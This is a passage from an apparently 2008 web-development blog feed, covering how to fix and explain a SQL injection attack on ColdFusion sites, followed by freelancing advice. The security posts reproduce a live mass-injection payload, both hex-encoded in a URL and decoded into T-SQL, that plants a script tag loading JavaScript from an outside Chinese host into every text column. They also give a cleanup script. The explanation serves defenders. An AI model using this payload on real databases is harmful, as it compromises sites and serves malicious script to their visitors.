<div class="wp_syntax"><div class="code"><pre class="txt" style="font-family:monospace;">&quot;&gt;&lt;/title&gt;&lt;script src=&quot;http://1.verynx.cn/w.js&quot;&gt;&lt;/script&gt;&lt;!--</pre></div></div>

<p>When rendered by a standard <acronym title="Hyper-Text Markup Language">HTML</acronym> page, the string is either displayed to the user agent, or the JavaScript file is called by the page, causing a security threat.</p>
<p>With the example above, we can use the following script to recurse through and create update scripts for every &#8216;infected&#8217; table and column (of the type <code>char</code>, <code>nchar</code>, <code>varchar</code> and <code>nvarchar</code>), in the database.</p>

<div class="wp_syntax"><div class="code"><pre class="sql sql" style="font-family:monospace;"><<span style="color: #0000ff;">|</span>/1/>SELECT</span> <span style="color: #ff0000;">'UPDATE ['</span> <span style="color: #0000ff;">+</span> table_name <span style="color: #0000ff;">+</span> <span style="color: #ff0000;">'] 
SET '</span> <span style="color: #0000ff;">+</span> column_name <span style="color: #0000ff;">+</span> <span style="color: #ff0000;">' = REPLACE(CAST('</span> <span style="color: #0000ff;">+</span> column_name <span style="color: #0000ff;">+</span> <span style="color: #ff0000;">' as varchar(8000)), '</span><span style="color: #ff0000;">'&quot;&gt;&lt;/title&gt;&lt;script src=&quot;http://1.verynx.cn/w.js&quot;&gt;&lt;/script&gt;&lt;!--'</span><span style="color: #ff0000;">', '</span><span style="color: #ff0000;">''</span><span style="color: #ff0000;">') 
WHERE '</span> <span style="color: #0000ff;">+</span> column_name <span style="color: #0000ff;">+</span> <span style="color: #ff0000;">' LIKE '</span><span style="color: #ff0000;">'%&quot;&gt;&lt;/title&gt;&lt;script src=&quot;http://1.verynx.cn/w.js&quot;&gt;&lt;/script&gt;&lt;!--%'</span><span style="color: #ff0000;">''</span> 
<<span style="color: #0000ff;">|</span>/1/>FROM</span> information_schema.columns 
<<span style="color: #0000ff;">|</span>/1/>WHERE</span> <span style="color: #66cc66;">&#40;</span>character_maximum_length <<span style="color: #0000ff;">|</span>/1/>IS</span> <<span style="color: #0000ff;">|</span>/1/>NOT</span> <<span style="color: #0000ff;">|</span>/1/>NULL</span><span style="color: #66cc66;">&#41;</span> 
<<span style="color: #0000ff;">|</span>/1/>AND</span> <span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#91;</span>table_name<span style="color: #66cc66;">&#93;</span> <<span style="color: #0000ff;">|</span>/1/>NOT</span> <<span style="color: #0000ff;">|</span>/1/>LIKE</span> <span style="color: #ff0000;">'dt%'</span><span style="color: #66cc66;">&#41;</span> 
<<span style="color: #0000ff;">|</span>/1/>AND</span> <span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#91;</span>table_name<span style="color: #66cc66;">&#93;</span> <<span style="color: #0000ff;">|</span>/1/>NOT</span> <<span style="color: #0000ff;">|</span>/1/>LIKE</span> <span style="color: #ff0000;">'sys%'</span><span style="color: #66cc66;">&#41;</span></pre></div></div>

<p>The resultset then produces update statements that look like the following (I have masked the actual table and column names):</p>

<div class="wp_syntax"><div class="code"><pre class="sql sql" style="font-family:monospace;"><<span style="color: #0000ff;">|</span>/1/>UPDATE</span> <span style="color: #66cc66;">&#91;</span>tableName<span style="color: #66cc66;">&#93;</span>   
<<span style="color: #0000ff;">|</span>/1/>SET</span> columnName <span style="color: #0000ff;">=</span> <span style="color: #ff00ff;">REPLACE</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff00ff;">CAST</span><span style="color: #66cc66;">&#40;</span>columnName <<span style="color: #0000ff;">|</span>/1/>AS</span> <<span style="color: #0000ff;">|</span>/2/>VARCHAR</span><span style="color: #66cc66;">&#40;</span><<span style="color: #0000ff;">|</span> style<span style="color: #66cc66;">=</span>"color: #cc66cc;">8000</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>, <span style="color: #ff0000;">'&quot;&gt;&lt;/title&gt;&lt;script src=&quot;http://1.verynx.cn/w.js&quot;&gt;&lt;/script&gt;&lt;!--'</span>, <span style="color: #ff0000;">''</span><span style="color: #66cc66;">&#41;</span>   
<<span style="color: #0000ff;">|</span>/1/>WHERE</span> columnName <<span style="color: #0000ff;">|</span>/1/>LIKE</span> <span style="color: #ff0000;">'%&quot;&gt;&lt;/title&gt;&lt;script src=&quot;http://1.verynx.cn/w.js&quot;&gt;&lt;/script&gt;&lt;!--%'</span></pre></div></div>

<p>These update statements can be copied into and run in a program such as Query Analyser for Microsoft SQL Server 2000, or SQL Server Management Studio for Microsoft SQL 2005.</p>
<p>If the actual code that was injected is different, simply change the above code to suit your needs.</p>
<p>You can <a href="/examples/sqlinjection/sql-injection-rollback.txt" title="Download the SQL rollback script">download the SQL rollback script</a> for your own needs.</p>
<h3>Prevent a Successful Attack</h3>
<p>As the popular idiom goes <q>prevention is better than a cure</q>, I will discuss in my next post how to mitigate against <acronym title="Structured Query Language">SQL</acronym> Injection attacks &#8212; on ColdFusion-based websites &#8212; before they become a problem.</p>
<p><p align="center"><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
google_ui_features = "rc:0";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as";
google_ad_type = "text";
google_color_border = "ffffff";
google_color_bg = "ffffff";
google_color_link = "0f6b99";
google_color_text = "808080";
google_color_url = "0f6b99";

//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p></p>
]]></content:encoded>
			<wfw:commentRss>http://www.simonwhatley.co.uk/how-to-fix-a-sql-injection-attack/feed</wfw:commentRss>
		</item>
		<item>
		<title>What is a SQL Injection Attack</title>
		<link>http://www.simonwhatley.co.uk/what-is-a-sql-injection-attack</link>
		<comments>http://www.simonwhatley.co.uk/what-is-a-sql-injection-attack#comments</comments>
		<pubDate>Wed, 13 Aug 2008 12:09:45 +0000</pubDate>
		<dc:creator>Simon</dc:creator>
		
		<category><![CDATA[ColdFusion]]></category>

		<category><![CDATA[SQL]]></category>

		<category><![CDATA[attack]]></category>

		<category><![CDATA[cross-site scripting]]></category>

		<category><![CDATA[hack]]></category>

		<category><![CDATA[hacking]]></category>

		<category><![CDATA[SQL Injection]]></category>

		<category><![CDATA[url]]></category>

		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.simonwhatley.co.uk/?p=812</guid>
		<description><![CDATA[Over the past few weeks, subversive elements in the international arena have decided that attacking websites is a fun thing to do! The online world has become the new battle ground between nations vying to de-stabilise rivals. This may seem all very Jack Bauer, but we are increasingly seening ‘SQL injection attacks’ eminating from countries such as Russia, China and North Korea. Of course, that doesn’t mean our countries aren’t doing the same in return, but we only see the results from foreign-based attacks.]]></description>
			<content:encoded><![CDATA[<p>Over the past few weeks, subversive elements in the international arena have decided that attacking websites is a fun thing to do! The online world has become the new battle ground between nations vying to de-stabilise rivals. This may seem all very <a href="http://en.wikipedia.org/wiki/Jack_Bauer" title="Wikipedia: Jack Bauer" target="_blank" rel="nofollow">Jack Bauer</a>, but we are increasingly seeing &#8216;<acronym title="Structured Query Language">SQL</acronym> injection attacks&#8217; eminating from countries such as Russia, China and North Korea. Of course, that doesn&#8217;t mean our countries aren&#8217;t doing the same in return, but we only see the results from foreign-based attacks.</p>
<h3>What is a SQL Injection Attack?</h3>
<p><a href="http://en.wikipedia.org/wiki/SQL_injection" title="Wikipedia: SQL Injection" target="_blank" rel="nofollow">SQL Injection</a> is a technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is in fact an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another.</p>
<p><p align="center"><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
google_ui_features = "rc:0";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as";
google_ad_type = "text";
google_color_border = "ffffff";
google_color_bg = "ffffff";
google_color_link = "0f6b99";
google_color_text = "808080";
google_color_url = "0f6b99";

//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p></p>
<h3>Real World Example</h3>
<p><acronym title="Structured Query Language">SQL</acronym> Injection attacks are commonly associated with a technique called <a href="http://en.wikipedia.org/wiki/Cross-site_scripting" title="Wikipedia: Cross-Site Scripting" target="_blank" rel="nofollow">Cross-Site Scripting</a> (<abbr title="Cross-Site Scripting">XSS</abbr>). <abbr title="Cross-Site Scripting">XSS</abbr> is a type of computer security vulnerability typically found in web applications which allow code injection by malicious web users into the web pages viewed by other users.</p>
<p>In reality, what does this look like?</p>
<p>The following is a legitimate URL that may be navigated to by the user agent:</p>

<div class="wp_syntax"><div class="code"><pre class="text text" style="font-family:monospace;">http://www.domain.com/folderName/fileName.cfm?variable1=0&amp;variable2=4241</pre></div></div>

<p>The following is a hacked URL:</p>

<div class="wp_syntax"><div class="code"><pre class="text text" style="font-family:monospace;">http://www.domain.com/folderName/filename.cfm?
variable1=0&amp;variable2=4241;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C41524520405420766172636861722
8323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F522
0464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C7
56D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E787479706
53D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204
F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E5
44F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E2065786563282775706461746
5205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697
074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D272720776
865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D226874747
03A2F2F312E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E455854204
6524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736
F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);</pre></div></div>

<p>The code appended to the <abbr title="Universal Resource Locator">URL</abbr> is hexadecimal. This can be interpreted by the <acronym title="Structured Query Language">SQL</acronym> engine. When the hexadecimal string is decoded by the <acronym title="Structured Query Language">SQL</acronym> server, the <acronym title="Structured Query Language">SQL</acronym> code generated looks similar to the following:</p>

<div class="wp_syntax"><div class="code"><pre class="sql sql" style="font-family:monospace;"><<span style="color: #0000ff;">|</span>/1/>DECLARE</span> @T <<span style="color: #0000ff;">|</span>/2/>VARCHAR</span><span style="color: #66cc66;">&#40;</span><<span style="color: #0000ff;">|</span> style<span style="color: #66cc66;">=</span>"color: #cc66cc;">255</span><span style="color: #66cc66;">&#41;</span>,@C <<span style="color: #0000ff;">|</span>/2/>VARCHAR</span><span style="color: #66cc66;">&#40;</span><<span style="color: #0000ff;">|</span> style<span style="color: #66cc66;">=</span>"color: #cc66cc;">4000</span><span style="color: #66cc66;">&#41;</span> 
<<span style="color: #0000ff;">|</span>/1/>DECLARE</span> Table_Cursor <<span style="color: #0000ff;">|</span>/1/>CURSOR</span> 
<<span style="color: #0000ff;">|</span>/1/>FOR</span> <<span style="color: #0000ff;">|</span>/1/>SELECT</span> a.name,b.name <<span style="color: #0000ff;">|</span>/1/>FROM</span> sysobjects a,syscolumns b 
<<span style="color: #0000ff;">|</span>/1/>WHERE</span> a.id<span style="color: #66cc66;">=</span>b.id 
<<span style="color: #0000ff;">|</span>/1/>AND</span> a.xtype<span style="color: #66cc66;">=</span><span style="color: #ff0000;">'u'</span> 
<<span style="color: #0000ff;">|</span>/1/>AND</span> <span style="color: #66cc66;">&#40;</span>b.xtype<span style="color: #66cc66;">=</span><<span style="color: #0000ff;">|</span> style<span style="color: #66cc66;">=</span>"color: #cc66cc;">99</span> <<span style="color: #0000ff;">|</span>/1/>OR</span> b.xtype<span style="color: #66cc66;">=</span><<span style="color: #0000ff;">|</span> style<span style="color: #66cc66;">=</span>"color: #cc66cc;">35</span> <<span style="color: #0000ff;">|</span>/1/>OR</span> b.xtype<span style="color: #66cc66;">=</span><<span style="color: #0000ff;">|</span> style<span style="color: #66cc66;">=</span>"color: #cc66cc;">231</span> <<span style="color: #0000ff;">|</span>/1/>OR</span> b.xtype<span style="color: #66cc66;">=</span><<span style="color: #0000ff;">|</span> style<span style="color: #66cc66;">=</span>"color: #cc66cc;">167</span><span style="color: #66cc66;">&#41;</span> 
<<span style="color: #0000ff;">|</span>/1/>OPEN</span> Table_Cursor 
<<span style="color: #0000ff;">|</span>/1/>FETCH</span> NEXT <<span style="color: #0000ff;">|</span>/1/>FROM</span>  Table_Cursor 
<<span style="color: #0000ff;">|</span>/1/>INTO</span> @T,@C 
<<span style="color: #0000ff;">|</span>/1/>WHILE</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff00ff;">@@FETCH_STATUS</span><span style="color: #66cc66;">=</span>0<span style="color: #66cc66;">&#41;</span> 
<<span style="color: #0000ff;">|</span>/1/>BEGIN</span> <<span style="color: #0000ff;">|</span>/1/>EXEC</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">'update ['</span><span style="color: #0000ff;">+</span>@T+<span style="color: #ff0000;">'] set ['</span><span style="color: #0000ff;">+</span>@C+<span style="color: #ff0000;">']=['</span><span style="color: #0000ff;">+</span>@C+<span style="color: #ff0000;">']+'</span><span style="color: #ff0000;">'&quot;&gt;&lt;/title&gt;
&lt;script src=&quot;http://1.verynx.cn/w.js&quot;&gt;&lt;/script&gt;&lt;!--'</span><span style="color: #ff0000;">' 
where '</span><span style="color: #0000ff;">+</span>@C+<span style="color: #ff0000;">' not like '</span><span style="color: #ff0000;">'%&quot;&gt;&lt;/title&gt;
&lt;script src=&quot;http://1.verynx.cn/w.js&quot;&gt;&lt;/script&gt;&lt;!--'</span><span style="color: #ff0000;">''</span><span style="color: #66cc66;">&#41;</span>
<<span style="color: #0000ff;">|</span>/1/>FETCH</span> NEXT <<span style="color: #0000ff;">|</span>/1/>FROM</span>  Table_Cursor <<span style="color: #0000ff;">|</span>/1/>INTO</span> @T,@C 
<<span style="color: #0000ff;">|</span>/1/>END</span> 
<<span style="color: #0000ff;">|</span>/1/>CLOSE</span> Table_Cursor 
<<span style="color: #0000ff;">|</span>/1/>DEALLOCATE</span> Table_Cursor</pre></div></div>

<p>Somewhat unhelpfully, if the user credentials used to access the database have access to the system tables of your database, the <acronym title="Structured Query Language">SQL</acronym> injection attack will be able to interrogate those system tables and determine the structure of your database. The result, of the above example, is that the following code is injected into every string-based column in every table.</p>

<div class="wp_syntax"><div class="code"><pre class="txt" style="font-family:monospace;">&lt;/title&gt;&lt;script src=&quot;http://1.verynx.cn/w.js&quot;&gt;&lt;/script&gt;&lt;!--</pre></div></div>

<p>To put it simply, this is <em>very bad news</em>!</p>
<h3>ColdFusion-hacking is Popularised</h3>
<p>ColdFusion-based sites are by no means immune to this international &#8216;information war&#8217;. The popularity of attacks on ColdFusion-based websites can be summarised by the fact that an article was featured on <a href="http://www.0x000000.com/?i=610" title="0x000000.com - The Hacker Webzine">The Hacker Webzine</a> recently, detailing how to implement a successful attack.</p>
<h3>How to &#8216;Fix&#8217; the Problem</h3>
<p>As ColdFusion developers we not only need to be aware of the problem, we need to also know how to fix the problem and mitigate against an attack before it even happens.</p>
<p>In my next post, I will discuss how to fix a <acronym title="Structured Query Language">SQL</acronym> injection attack.</p>
<p><p align="center"><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
google_ui_features = "rc:0";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as";
google_ad_type = "text";
google_color_border = "ffffff";
google_color_bg = "ffffff";
google_color_link = "0f6b99";
google_color_text = "808080";
google_color_url = "0f6b99";

//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p></p>
]]></content:encoded>
			<wfw:commentRss>http://www.simonwhatley.co.uk/what-is-a-sql-injection-attack/feed</wfw:commentRss>
		</item>
		<item>
		<title>Launching Yourself as a Freelancer - Advertise and Find Work</title>
		<link>http://www.simonwhatley.co.uk/launching-yourself-as-a-freelancer-advertise-and-find-work</link>
		<comments>http://www.simonwhatley.co.uk/launching-yourself-as-a-freelancer-advertise-and-find-work#comments</comments>
		<pubDate>Mon, 11 Aug 2008 10:47:19 +0000</pubDate>
		<dc:creator>Simon</dc:creator>
		
		<category><![CDATA[ColdFusion]]></category>

		<category><![CDATA[Freelancing]]></category>

		<category><![CDATA[99Designs]]></category>

		<category><![CDATA[advertising]]></category>

		<category><![CDATA[adwords]]></category>

		<category><![CDATA[affiliate links]]></category>

		<category><![CDATA[business directories]]></category>

		<category><![CDATA[contractor]]></category>

		<category><![CDATA[freelance]]></category>

		<category><![CDATA[freelancer]]></category>

		<category><![CDATA[lemon foundation]]></category>

		<category><![CDATA[programmermeetdesigner]]></category>

		<category><![CDATA[sitepoint]]></category>

		<category><![CDATA[temporary]]></category>

		<category><![CDATA[thomson local]]></category>

		<category><![CDATA[touch local]]></category>

		<category><![CDATA[yell.com]]></category>

		<guid isPermaLink="false">http://www.simonwhatley.co.uk/?p=755</guid>
		<description><![CDATA[Advertising and finding work as a freelancer has the potential to be extremely painful and difficult. However, having made the decision to go freelance, it is likely you are actually good at what you do, which gives you a great headstart.]]></description>
			<content:encoded><![CDATA[<p>Advertising and finding work as a freelancer has the potential to be extremely painful and difficult. However, having made the decision to go freelance, it is likely you are actually good at what you do, which gives you a great headstart.</p>
<p>In the last two parts of this series, I discussed <a href="/launching-yourself-as-a-freelancer-publicity" title="Launching Yourself as a Freelancer - Publicity">publicising yourself</a> and <a href="/launching-yourself-as-a-freelancer-networking" title="Launching Yourself as a Freelancer - Networking">networking</a>, both of which are great ways to advertise your wares. There are, however, more traditional routes to advertising and finding work.</p>
<h3>Advertise Your Business</h3>
<p>Once you&#8217;ve built up a portfolio of work and contacts, it&#8217;ll become increasingly easier to advertise yourself. But intially, finding work is a case of advertising yourself. This can be achieved in a number of ways. </p>
<p>You can create adverts on search engines such as Google via their <a href="https://adwords.google.com" title="Google Adwords" target="_blank" rel="nofollow">Adwords</a> service, or on Yahoo! Small Business via their equivalent <a href="http://searchmarketing.yahoo.com" title="Yahoo! Search Marketing" target="_blank" rel="nofollow">search marketing</a> service.</p>
<p>You could also go down the slightly more traditional route and add free or paid listings to online business directories such as <a href="http://www.yell.com" title="Yell.com" target="_blank" rel="nofollow">Yell.com</a> and <a href="http://www.thomsonlocal.com" title="Thomson Local" target="_blank" rel="nofollow">Thomson Local</a>.</p>
<p>I see little value in using the paper-based business directories, since you&#8217;re likely to be operating in the digital arena, however, niche publications or magazines may be a credible option to consider.</p>
<p><p align="center"><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
google_ui_features = "rc:0";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as";
google_ad_type = "text";
google_color_border = "ffffff";
google_color_bg = "ffffff";
google_color_link = "0f6b99";
google_color_text = "808080";
google_color_url = "0f6b99";

//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p></p>
<h3>Find Work</h3>
<p>You&#8217;ve got the skill and experience, you&#8217;ve built an online brand and you have advertised yourself. But still you need to find paid-for work.</p>
<p>Essentially there are two ways to do this, via your network or via the bane-of-everyones-life, agencies. Always prefer your network over agencies; you won&#8217;t be locked into rigid contracts and you could potentially earn more money for yourself as there won&#8217;t be a cut for the agent.</p>
<p>Of course, if you go through an agency, you don&#8217;t necessarily need to set up a company or do any of the complicated accounting and they have a ready-built network of contacts. </p>
<p>I tend to mix-and-match based upon demand. There is also the point that the agency can introduce you to a client and after a period of time has lapsed, you can go to that client directly, assuming you have maintained a good relationship.</p>
<p>You could also do your own research into companies carrying out work in your field and cold-call or email them. If they don&#8217;t have work available immediately, you have alerted them to your presence. They are also more likely to contact you directly at a later date, as this will save them money, rather than sourcing contractors through an agency.</p>
<p>There is a final area of consideration; joining networks and services such as the <a href="http://www.lemonfoundation.com" title="Lemon Foundation" target="_blank" rel="nofollow">Lemon Foundation</a> and <a href="http://99designs.com" title="99Designs" target="_blank" rel="nofollow">99Designs</a>. These services effectively connect designers and developers to clients needing work to be carried out. This work could be anything from logo designs and business cards to branding and websites. </p>
<p>Lemon Foundation is more like an umbrella company that bids for and farms out work; they do all the client facing work &#8212; winning bids, project plans and scoping etc &#8212; whilst you do the &#8216;actual&#8217; work. 99Designs on the other hand is a marketplace where you have to compete on price and reputation. It is in effect an eBay or Amazon of the designer-developer world and is brought to you buy the guys who created <a href="http://www.sitepoint.com" title="SitePoint" target="_blank" rel="nofollow">SitePoint</a> (a great web development resource).</p>
<p><p align="center"><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
google_ui_features = "rc:0";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as";
google_ad_type = "text";
google_color_border = "ffffff";
google_color_bg = "ffffff";
google_color_link = "0f6b99";
google_color_text = "808080";
google_color_url = "0f6b99";

//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p></p>
<h3>Final Thoughts</h3>
<p>Someone cheesy wrote&#8230;</p>
<blockquote><p>Twenty first century people aren&#8217;t afraid of challenges, of stepping outside their comfort zones, of swapping lives. No more <q>forty years with the same organisation, here&#8217;s my gold watch to prove my loyalty</q> - it&#8217;s all about building up a portfolio of skills, identifying strengths, capitalising on opportunities and transferring the package to the next best place. Sometimes that place is you. </p></blockquote>
<p><p align="center"><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
google_ui_features = "rc:0";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as";
google_ad_type = "text";
google_color_border = "ffffff";
google_color_bg = "ffffff";
google_color_link = "0f6b99";
google_color_text = "808080";
google_color_url = "0f6b99";

//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p></p>
]]></content:encoded>
			<wfw:commentRss>http://www.simonwhatley.co.uk/launching-yourself-as-a-freelancer-advertise-and-find-work/feed</wfw:commentRss>
		</item>
		<item>
		<title>Launching Yourself as a Freelancer - Networking</title>
		<link>http://www.simonwhatley.co.uk/launching-yourself-as-a-freelancer-networking</link>
		<comments>http://www.simonwhatley.co.uk/launching-yourself-as-a-freelancer-networking#comments</comments>
		<pubDate>Fri, 08 Aug 2008 10:43:26 +0000</pubDate>
		<dc:creator>Simon</dc:creator>
		
		<category><![CDATA[ColdFusion]]></category>

		<category><![CDATA[Freelancing]]></category>

		<category><![CDATA[associations]]></category>

		<category><![CDATA[Bebo]]></category>

		<category><![CDATA[brightkite]]></category>

		<category><![CDATA[colleagues]]></category>

		<category><![CDATA[conferences]]></category>

		<category><![CDATA[contacts]]></category>

		<category><![CDATA[contractor]]></category>

		<category><![CDATA[facebook]]></category>

		<category><![CDATA[freelance]]></category>

		<category><![CDATA[freelancer]]></category>

		<category><![CDATA[friendfeed]]></category>

		<category><![CDATA[friends]]></category>

		<category><![CDATA[GAWDS]]></category>

		<category><![CDATA[linkedin]]></category>

		<category><![CDATA[meebo]]></category>

		<category><![CDATA[MySpace]]></category>

		<category><![CDATA[network]]></category>

		<category><![CDATA[plurk]]></category>

		<category><![CDATA[programmermeetdesigner]]></category>

		<category><![CDATA[pub]]></category>

		<category><![CDATA[socialthing]]></category>

		<category><![CDATA[temporary]]></category>

		<category><![CDATA[tumblr]]></category>

		<category><![CDATA[Twitter]]></category>

		<category><![CDATA[user groups]]></category>

		<category><![CDATA[Web Standards Group]]></category>

		<category><![CDATA[WSP]]></category>

		<guid isPermaLink="false">http://www.simonwhatley.co.uk/?p=754</guid>
		<description><![CDATA[In the first two parts of this series, I talked about setting up in business as a freelancer and publicising yourself via branding and blogging.]]></description>
			<content:encoded><![CDATA[<p>In the first two parts of this series, I talked about <a href="/launching-yourself-as-a-freelancer" title="Launching Yourself as a Freelancer">setting up in business</a> as a freelancer and <a href="/launching-yourself-as-a-freelancer-publicity" title="Launching Yourself as a Freelancer - Publicity">publicising yourself</a> via branding and blogging.</p>
<p>Creating a brand and blogging are two important steps to getting yourself known, but are of little use if you do not actively build relationships through networking.</p>
<p>A good friend of mine, <a href="http://www.anucreative.com" title="Rob Douglas" target="_blank" rel="nofollow">Rob</a>, has some great advice: <q>Get to the pub. When a project comes up and someone wants a Flex developer, you want to be front-of-mind</q>.</p>
<p>Of course networking is more than simply going to the pub, it&#8217;s talking to friends and colleagues online, it&#8217;s attending conferences and groups. In essence it&#8217;s about &#8216;getting out there&#8217;.</p>
<h3>Build Online Relationships</h3>
<p>Many of my contacts are not from the London area, but include locations such as Brighton, Edinburgh and Birmingham. Added to this, I have international contacts in countries such as Australia, Belgium, New Zealand and the United States.</p>
<p>Clearly it isn&#8217;t easy to call up these people and say &#8216;do you want to go to the pub&#8217;. Therefore, building online relationships is a must. There are a whole host of services that essentially let people understand me as a person, not just a work colleague.</p>
<p>I use, to varying degrees, services such as <a href="http://friendfeed.com" title="FriendFeed" target="_blank" rel="nofollow">FriendFeed</a>, <a href="http://socialthing.com" title="SocialThing" target="_blank" rel="nofollow">SocialThing</a>, <a href="http://brightkite.com" title="BrightKite" target="_blank" rel="nofollow">BrightKite</a>, <a href="http://www.jaiku.com" title="Jaiku" target="_blank" rel="nofollow">Jaiku</a>, <a href="http://www.meebo.com" title="Meebo" target="_blank" rel="nofollow">Meebo</a>, <a href="http://www.bebo.com" title="Bebo" target="_blank" rel="nofollow">Bebo</a>, <a href="http://www.myspace.com" title="MySpace" target="_blank" rel="nofollow">MySpace</a>, <a href="http://www.linkedin.com" title="LinkedIn" target="_blank" rel="nofollow">LinkedIn</a>, <a href="http://www.facebook.com" title="Facebook" target="_blank" rel="nofollow">Facebook</a>, <a href="http://www.librarything.com" title="LibraryThing" target="_blank" rel="nofollow">LibraryThing</a>, <a href="http://corkd.com" title="Cork'd" target="_blank" rel="nofollow">Cork&#8217;d</a> and <a href="http://www.dopplr.com" title="Dopplr" target="_blank" rel="nofollow">Dopplr</a>. Indeed, you can find links to my most-used services in the footer of my site.</p>
<p>Take a look at the links in the footer and get to know me. You may notice that all the services are registered under my brand name. Again, this allows people to draw association with the profile they are looking at and me. It also means that if you want to follow me on one or many services, it won&#8217;t be hard to find me.</p>
<h3>Attend Local Meetings and User Groups</h3>
<p>Attending local &#8216;geek&#8217; meets is a great way to meet like-minded people, exchange thoughts and quite possibly find work. These meetings can be found on the Yahoo! service <a href="http://upcoming.yahoo.com" title="Upcoming" target="_blank" rel="nofollow">Upcoming.org</a> and on <a href="http://www.meetup.com" title="Meetup" target="_blank" rel="nofollow">Meetup.com</a>.</p>
<p>On the odd occassion, I may be found at meetings such as the <a href="http://webstandards.meetup.com/130/" title="Web Standards Meetup" target="_blank" rel="nofollow">Web Standards Meetup</a>, the <a href="http://www.ukcfug.org" title="ColdFusion User Group" target="_blank" rel="nofollow">ColdFusion User Group</a>, <a href="http://londongeeks.net" title="London Geeks" target="_blank" rel="nofollow">London Geeks</a>, the<a href="http://www.lfpug.com" title="London Flash Platform User Group" target="_blank" rel="nofollow"> London Flash Platform User Group</a>, the <a href="http://ria.meetup.com/7/" title="Flex London User Group" target="_blank" rel="nofollow">Flex London User Group</a> etc. (I do have a life outside my work, honestly!)</p>
<h3>Attend Conferences Related to Your Industry</h3>
<p>Conferences are really an extension of local user groups and meetings, but they allow you to network with a wider, often international, audience. It is quite possible to spend a few days a month attending conferences, so chosing ones relevant to you are key.</p>
<p>In the past I have attended, <a href="http://max.adobe.com" title="Adobe MAX" target="_blank" rel="nofollow">Adobe MAX</a>, <a href="http://www.scotch-on-the-rocks.co.uk" title="Scotch on the Rocks" target="_blank" rel="nofollow">Scotch-on-the-Rocks</a> and <a href="http://cfdevcon.com" title="CFDevcon" target="_blank" rel="nofollow">CFDevCon</a>, but there are a tranche of other conferences that could be equally relevant such as <a href="http://europe.cfunited.com" title="CFUnited Europe" target="_blank" rel="nofollow">CFUnited Europe</a>, <a href="http://www.360flex.com" title="360 Flex" target="_blank" rel="nofollow">360Flex</a> and <a href="http://www.flashonthebeach.com" title="Flash on the Beach" target="_blank" rel="nofollow">Flash on the Beach</a>.</p>
<p>Conferences provide a varying degree of networking and job opportunities, but if anything they provide a great sneak-peek into what other people are working on and in what direction the industry is heading.</p>
<h3>What&#8217;s Next</h3>
<p>In the final part of this series I will introduce methods by which you can advertise your business.</p>
<p><p align="center"><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
google_ui_features = "rc:0";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as";
google_ad_type = "text";
google_color_border = "ffffff";
google_color_bg = "ffffff";
google_color_link = "0f6b99";
google_color_text = "808080";
google_color_url = "0f6b99";

//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p></p>
]]></content:encoded>
			<wfw:commentRss>http://www.simonwhatley.co.uk/launching-yourself-as-a-freelancer-networking/feed</wfw:commentRss>
		</item>
		<item>
		<title>Launching Yourself as a Freelancer - Publicity</title>
		<link>http://www.simonwhatley.co.uk/launching-yourself-as-a-freelancer-publicity</link>
		<comments>http://www.simonwhatley.co.uk/launching-yourself-as-a-freelancer-publicity#comments</comments>
		<pubDate>Wed, 06 Aug 2008 10:44:05 +0000</pubDate>
		<dc:creator>Simon</dc:creator>
		
		<category><![CDATA[ColdFusion]]></category>

		<category><![CDATA[Freelancing]]></category>

		<category><![CDATA[aggregators]]></category>

		<category><![CDATA[blog]]></category>

		<category><![CDATA[brand]]></category>

		<category><![CDATA[branding]]></category>

